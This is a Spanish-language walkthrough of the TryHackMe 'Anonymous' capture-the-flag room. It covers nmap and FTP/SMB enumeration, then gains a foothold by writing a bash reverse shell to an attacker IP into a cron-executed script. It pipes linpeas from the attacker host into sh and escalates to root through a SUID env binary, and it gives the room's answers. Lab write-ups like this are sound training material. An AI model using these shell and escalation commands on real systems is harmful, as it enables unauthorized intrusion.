TryHackMe - Anonymous
No ese grupo de hackers
Introducción
Máquina bastante fácil, curiosamente estaba valorada como Medium. De cualquier manera, es divertida.
Nmap
Comencemos con el escaneo de nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.12.102
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts [NSE: writeable]
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.11.75.122
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 8b:ca:21:62:1c:2b:23:fa:6b:c6:1f:a8:13:fe:1c:68 (RSA)
| 256 95:89:a4:12:e2:e6:ab:90:5d:45:19:ff:41:5f:74:ce (ECDSA)
|_ 256 e1:2a:96:a4:ea:8f:68:8f:cc:74:b8:f0:28:72:70:cd (ED25519)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: ANONYMOUS; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Puertos abiertos:
21/tcp
22/tcp
139/tcp
445/tcp
Pregunta: Enumere la máquina. ¿Cuántos puertos están abiertos?
Respuesta:
1
4
También podemos responder algunas preguntas, ya que estos son puertos y servicios predeterminados
Pregunta: ¿Qué servicio se está ejecutando en el puerto 21?
Respuesta:
1
ftp
Pregunta: ¿Qué servicio se está ejecutando en los puertos 139 y 445?
Respuesta:
1
smb
Reconocimiento
Intenté iniciar sesión como anónimo en el puerto FTP y parece que funciona, así que estoy verificando los archivos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
└─$ ftp [email protected]
Connected to 10.10.12.102.
220 NamelessOne's FTP Server!
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||46482|)
150 Here comes the directory listing.
drwxrwxrwx 2 111 113 4096 Jun 04 2020 scripts
226 Directory send OK.
ftp> cd scripts
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||21624|)
150 Here comes the directory listing.
-rwxr-xrwx 1 1000 1000 314 Jun 04 2020 clean.sh
-rw-rw-r-- 1 1000 1000 1376 Feb 27 14:20 removed_files.log
-rw-r--r-- 1 1000 1000 68 May 12 2020 to_do.txt
226 Directory send OK.
ftp>
También podemos ver los nombres de los recursos compartidos SMB
de esta manera:
1
smbclient -L 10.10.12.102
Simplemente presione Enter y estaremos conectados como anónimos
Pregunta: Hay un recurso compartido en la computadora del usuario. ¿Cómo se llama?
Respuesta:
1
pics
Tenemos un nombre de usuario NamelessOne
Descarguemos todos los archivos y echemos un vistazo
1
$ wget -m ftp://[email protected]
Bandera de usuario
Bien, ahora tenemos que:
- Escribir nuestro shell inverso en el archivo
clean.sh
- Iniciar sesión en FTP como anónimo
- Descargar el archivo de la máquina del atacante
1
2
3
4
#!/bin/bash
bash -i >& /dev/tcp/10.11.75.122/1337 0>&1
1
2
3
4
5
6
7
8
ftp> put clean.sh clean.sh
local: clean.sh remote: clean.sh
229 Entering Extended Passive Mode (|||46815|)
150 Ok to send data.
100% |******************************************************************| 56 1.57 MiB/s 00:00 ETA
226 Transfer complete.
56 bytes sent in 00:00 (0.60 KiB/s)
ftp>
Abra el oyente netcat y simplemente espere
1
2
nc -lvnp 1337
listening on [any] 1337 ...
Ok, después de esperar a que se ejecute cronjob, recibimos la conexión.
1
2
3
4
5
6
7
8
9
10
connect to [10.11.75.122] from (UNKNOWN) [10.10.12.102] 52464
bash: cannot set terminal process group (1522): Inappropriate ioctl for device
bash: no job control in this shell
namelessone@anonymous:~$ ls
ls
pics
user.txt
namelessone@anonymous:~$ cat user.txt
cat user.txt
<CENSORED>
Escalada de privilegios
Ahora, vamos con la escalada de privilegios
Usemos linpeas
para verificar posibles vectores de escalada de privilegios
- Descargue linpeas desde github
- Inicie el servidor http local en nuestra máquina atacante
- Ejecute el comando para descargar el archivo y ejecutarlo
1
sudo python3 -m http.server
Y la máquina víctima
1
curl 10.11.75.122/linpeas.sh | sh
Parece que tenemos /env
disponible
Si el binario tiene SUID configurado, no perderá los privilegios elevados
Podemos simplemente enumerar el indicador raíz de esta manera
1
2
env /bin/sh
/usr/bin/env /bin/sh -p